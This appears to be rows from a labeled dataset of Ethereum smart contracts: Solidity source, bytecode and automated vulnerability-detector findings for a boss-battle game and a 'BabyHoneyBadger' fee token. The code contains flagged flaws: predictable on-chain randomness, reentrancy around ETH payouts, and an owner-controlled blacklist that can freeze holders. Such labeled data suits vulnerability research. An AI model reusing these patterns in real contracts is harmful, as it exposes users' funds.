function atkBoss(uint256 _value) public disableContract
{
require(bossData[bossRoundNumber].ended == false);
require(bossData[bossRoundNumber].totalDame < bossData[bossRoundNumber].bossHp);
require(players[msg.sender].nextTimeAtk <= now);
Engineer.subVirus(msg.sender, _value);
uint256 rate = 50 + randomNumber(msg.sender, now, 60); // 50 - 110%
uint256 atk = SafeMath.div(SafeMath.mul(_value, rate), 100);
updateShareETH(msg.sender);
// update dame
BossData storage b = bossData[bossRoundNumber];
uint256 currentTotalDame = b.totalDame;
uint256 dame = 0;
if (atk > b.def) {
dame = SafeMath.sub(atk, b.def);
}
b.totalDame = SafeMath.min(SafeMath.add(currentTotalDame, dame), b.bossHp);
b.playerLastAtk = msg.sender;
dame = SafeMath.sub(b.totalDame, currentTotalDame);
// bonus crystals
uint256 crystalsBonus = SafeMath.div(SafeMath.mul(dame, 5), 100);
MiningWar.addCrystal(msg.sender, crystalsBonus);
// update player
PlayerData storage p = players[msg.sender];
p.nextTimeAtk = now + HALF_TIME_ATK_BOSS;
if (p.currentBossRoundNumber == bossRoundNumber) {
p.dame = SafeMath.add(p.dame, dame);
} else {
p.currentBossRoundNumber = bossRoundNumber;
p.dame = dame;
}
bool isLastHit;
if (b.totalDame >= b.bossHp) {
isLastHit = true;
endAtkBoss();
}
// emit event attack boss
emit eventAttackBoss(b.bossRoundNumber, msg.sender, _value, dame, p.dame, now, isLastHit, crystalsBonus);
}
function updateShareETH(address _addr) private
{
PlayerData storage p = players[_addr];
if (
bossData[p.currentBossRoundNumber].ended == true &&
p.lastBossRoundNumber < p.currentBossRoundNumber
) {
p.share = SafeMath.add(p.share, calculateShareETH(_addr, p.currentBossRoundNumber));
p.lastBossRoundNumber = p.currentBossRoundNumber;
}
}
/**
* @dev calculate share Eth of player
*/
function calculateShareETH(address _addr, uint256 _bossRoundNumber) public view returns(uint256 _share)
{
PlayerData memory p = players[_addr];
BossData memory b = bossData[_bossRoundNumber];
if (
p.lastBossRoundNumber >= p.currentBossRoundNumber &&
p.currentBossRoundNumber != 0
) {
_share = 0;
} else {
if (b.totalDame == 0) return 0;
_share = SafeMath.div(SafeMath.mul(SafeMath.mul(b.prizePool, 95), p.dame), SafeMath.mul(b.totalDame, 100)); // prizePool * 95% * playerDame / totalDame
}
if (b.ended == false) _share = 0;
}
function getCurrentReward(address _addr) public view returns(uint256 _currentReward)
{
PlayerData memory p = players[_addr];
_currentReward = SafeMath.add(p.win, p.share);
_currentReward += calculateShareETH(_addr, p.currentBossRoundNumber);
}
function withdrawReward(address _addr) public
{
updateShareETH(_addr);
PlayerData storage p = players[_addr];
uint256 reward = SafeMath.add(p.share, p.win);
if (address(this).balance >= reward && reward > 0) {
_addr.transfer(reward);
// update player
p.win = 0;
p.share = 0;
}
}
//--------------------------------------------------------------------------
// INTERNAL FUNCTION
//--------------------------------------------------------------------------
function devFee(uint256 _amount) private pure returns(uint256)
{
return SafeMath.div(SafeMath.mul(_amount, 5), 100);
}
function randomNumber(address _addr, uint256 randNonce, uint256 _maxNumber) private returns(uint256)
{
return uint256(keccak256(abi.encodePacked(now, _addr, randNonce))) % _maxNumber;
}
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,187 |
0x5a9412ab839d26ff9394b1f6e817a8e9f0cd004e
|
/**
*Submitted for verification at Etherscan.io on 2021-12-12
*/
/*
BabyHoneyBadgerCoin
https://t.me/BabyHoneyBadgerCoin
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyHoneyBadger is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "BabyHoneyBadgerCoin";
string private constant _symbol = "BabyHoneyBadger";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x7D06D00b60C344a25A057D11bbCDEe3a6f9e8955);
_feeAddrWallet2 = payable(0x7D06D00b60C344a25A057D11bbCDEe3a6f9e8955);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102da578063b515566a146102fa578063c3c8cd801461031a578063c9567bf91461032f578063dd62ed3e1461034457600080fd5b806370a0823114610245578063715018a6146102655780638da5cb5b1461027a57806395d89b41146102a257600080fd5b8063273123b7116100d1578063273123b7146101d2578063313ce567146101f45780635932ead1146102105780636fc3eaec1461023057600080fd5b806306fdde031461010e578063095ea7b31461015c57806318160ddd1461018c57806323b872dd146101b257600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820190915260138152722130b13ca437b732bca130b233b2b921b7b4b760691b60208201525b60405161015391906117eb565b60405180910390f35b34801561016857600080fd5b5061017c610177366004611694565b61038a565b6040519015158152602001610153565b34801561019857600080fd5b5068056bc75e2d631000005b604051908152602001610153565b3480156101be57600080fd5b5061017c6101cd366004611654565b6103a1565b3480156101de57600080fd5b506101f26101ed3660046115e4565b61040a565b005b34801561020057600080fd5b5060405160098152602001610153565b34801561021c57600080fd5b506101f261022b366004611786565b61045e565b34801561023c57600080fd5b506101f26104a6565b34801561025157600080fd5b506101a46102603660046115e4565b6104d3565b34801561027157600080fd5b506101f26104f5565b34801561028657600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102ae57600080fd5b5060408051808201909152600f81526e2130b13ca437b732bca130b233b2b960891b6020820152610146565b3480156102e657600080fd5b5061017c6102f5366004611694565b610569565b34801561030657600080fd5b506101f26103153660046116bf565b610576565b34801561032657600080fd5b506101f261061a565b34801561033b57600080fd5b506101f2610650565b34801561035057600080fd5b506101a461035f36600461161c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610397338484610a14565b5060015b92915050565b60006103ae848484610b38565b61040084336103fb856040518060600160405280602881526020016119bc602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e85565b610a14565b5060019392505050565b6000546001600160a01b0316331461043d5760405162461bcd60e51b81526004016104349061183e565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104885760405162461bcd60e51b81526004016104349061183e565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104c657600080fd5b476104d081610ebf565b50565b6001600160a01b03811660009081526002602052604081205461039b90610f44565b6000546001600160a01b0316331461051f5760405162461bcd60e51b81526004016104349061183e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610397338484610b38565b6000546001600160a01b031633146105a05760405162461bcd60e51b81526004016104349061183e565b60005b8151811015610616576001600660008484815181106105d257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061060e81611951565b9150506105a3565b5050565b600c546001600160a01b0316336001600160a01b03161461063a57600080fd5b6000610645306104d3565b90506104d081610fc8565b6000546001600160a01b0316331461067a5760405162461bcd60e51b81526004016104349061183e565b600f54600160a01b900460ff16156106d45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610434565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610711308268056bc75e2d63100000610a14565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561074a57600080fd5b505afa15801561075e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107829190611600565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ca57600080fd5b505afa1580156107de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108029190611600565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561084a57600080fd5b505af115801561085e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108829190611600565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108b2816104d3565b6000806108c76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561092a57600080fd5b505af115801561093e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061096391906117be565b5050600f805468056bc75e2d6310000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109dc57600080fd5b505af11580156109f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061691906117a2565b6001600160a01b038316610a765760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610434565b6001600160a01b038216610ad75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610434565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b9c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610434565b6001600160a01b038216610bfe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610434565b60008111610c605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610434565b6002600a556008600b556000546001600160a01b03848116911614801590610c9657506000546001600160a01b03838116911614155b15610e75576001600160a01b03831660009081526006602052604090205460ff16158015610cdd57506001600160a01b03821660009081526006602052604090205460ff16155b610ce657600080fd5b600f546001600160a01b038481169116148015610d115750600e546001600160a01b03838116911614155b8015610d3657506001600160a01b03821660009081526005602052604090205460ff16155b8015610d4b5750600f54600160b81b900460ff165b15610da857601054811115610d5f57600080fd5b6001600160a01b0382166000908152600760205260409020544211610d8357600080fd5b610d8e42601e6118e3565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610dd35750600e546001600160a01b03848116911614155b8015610df857506001600160a01b03831660009081526005602052604090205460ff16155b15610e08576002600a908155600b555b6000610e13306104d3565b600f54909150600160a81b900460ff16158015610e3e5750600f546001600160a01b03858116911614155b8015610e535750600f54600160b01b900460ff165b15610e7357610e6181610fc8565b478015610e7157610e7147610ebf565b505b505b610e8083838361116d565b505050565b60008184841115610ea95760405162461bcd60e51b815260040161043491906117eb565b506000610eb6848661193a565b95945050505050565b600c546001600160a01b03166108fc610ed9836002611178565b6040518115909202916000818181858888f19350505050158015610f01573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f1c836002611178565b6040518115909202916000818181858888f19350505050158015610616573d6000803e3d6000fd5b6000600854821115610fab5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610434565b6000610fb56111ba565b9050610fc18382611178565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061101e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561107257600080fd5b505afa158015611086573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110aa9190611600565b816001815181106110cb57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546110f19130911684610a14565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061112a908590600090869030904290600401611873565b600060405180830381600087803b15801561114457600080fd5b505af1158015611158573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e808383836111dd565b6000610fc183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112d4565b60008060006111c7611302565b90925090506111d68282611178565b9250505090565b6000806000806000806111ef87611344565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061122190876113a1565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461125090866113e3565b6001600160a01b03891660009081526002602052604090205561127281611442565b61127c848361148c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112c191815260200190565b60405180910390a3505050505050505050565b600081836112f55760405162461bcd60e51b815260040161043491906117eb565b506000610eb684866118fb565b600854600090819068056bc75e2d6310000061131e8282611178565b82101561133b5750506008549268056bc75e2d6310000092509050565b90939092509050565b60008060008060008060008060006113618a600a54600b546114b0565b92509250925060006113716111ba565b905060008060006113848e878787611505565b919e509c509a509598509396509194505050505091939550919395565b6000610fc183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e85565b6000806113f083856118e3565b905083811015610fc15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610434565b600061144c6111ba565b9050600061145a8383611555565b3060009081526002602052604090205490915061147790826113e3565b30600090815260026020526040902055505050565b60085461149990836113a1565b6008556009546114a990826113e3565b6009555050565b60008080806114ca60646114c48989611555565b90611178565b905060006114dd60646114c48a89611555565b905060006114f5826114ef8b866113a1565b906113a1565b9992985090965090945050505050565b60008080806115148886611555565b905060006115228887611555565b905060006115308888611555565b90506000611542826114ef86866113a1565b939b939a50919850919650505050505050565b6000826115645750600061039b565b6000611570838561191b565b90508261157d85836118fb565b14610fc15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610434565b80356115df81611998565b919050565b6000602082840312156115f5578081fd5b8135610fc181611998565b600060208284031215611611578081fd5b8151610fc181611998565b6000806040838503121561162e578081fd5b823561163981611998565b9150602083013561164981611998565b809150509250929050565b600080600060608486031215611668578081fd5b833561167381611998565b9250602084013561168381611998565b929592945050506040919091013590565b600080604083850312156116a6578182fd5b82356116b181611998565b946020939093013593505050565b600060208083850312156116d1578182fd5b823567ffffffffffffffff808211156116e8578384fd5b818501915085601f8301126116fb578384fd5b81358181111561170d5761170d611982565b8060051b604051601f19603f8301168101818110858211171561173257611732611982565b604052828152858101935084860182860187018a1015611750578788fd5b8795505b8386101561177957611765816115d4565b855260019590950194938601938601611754565b5098975050505050505050565b600060208284031215611797578081fd5b8135610fc1816119ad565b6000602082840312156117b3578081fd5b8151610fc1816119ad565b6000806000606084860312156117d2578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611817578581018301518582016040015282016117fb565b818111156118285783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156118c25784516001600160a01b03168352938301939183019160010161189d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118f6576118f661196c565b500190565b60008261191657634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119355761193561196c565b500290565b60008282101561194c5761194c61196c565b500390565b60006000198214156119655761196561196c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104d057600080fd5b80151581146104d057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122092bdb3fe96acbf6d755aceea02984824f79cf9c95fe19899dbfd57020df2cd7e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,188 |
0xf9a37c5e9f1dc3cede9bbe52be6d730a7939d29c
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC777 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function granularity() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function send(
address recipient,
uint256 amount,
bytes calldata data
) external;
function burn(uint256 amount, bytes calldata data) external;
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
function authorizeOperator(address operator) external;
function revokeOperator(address operator) external;
function defaultOperators() external view returns (address[] memory);
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
interface IERC777Recipient {
/**
* @dev Called by an {IERC777} token contract whenever tokens are being
* moved or created into a registered account (`to`). The type of operation
* is conveyed by `from` being the zero address or not.
*
* This call occurs _after_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the post-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
interface IERC1820Registry {
/**
* @dev Sets `newManager` as the manager for `account`. A manager of an
* account is able to set interface implementers for it.
*
* By default, each account is its own manager. Passing a value of `0x0` in
* `newManager` will reset the manager to this initial state.
*
* Emits a {ManagerChanged} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
*/
function setManager(address account, address newManager) external;
/**
* @dev Returns the manager for `account`.
*
* See {setManager}.
*/
function getManager(address account) external view returns (address);
/**
* @dev Sets the `implementer` contract as ``account``'s implementer for
* `interfaceHash`.
*
* `account` being the zero address is an alias for the caller's address.
* The zero address can also be used in `implementer` to remove an old one.
*
* See {interfaceHash} to learn how these are created.
*
* Emits an {InterfaceImplementerSet} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
* - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not
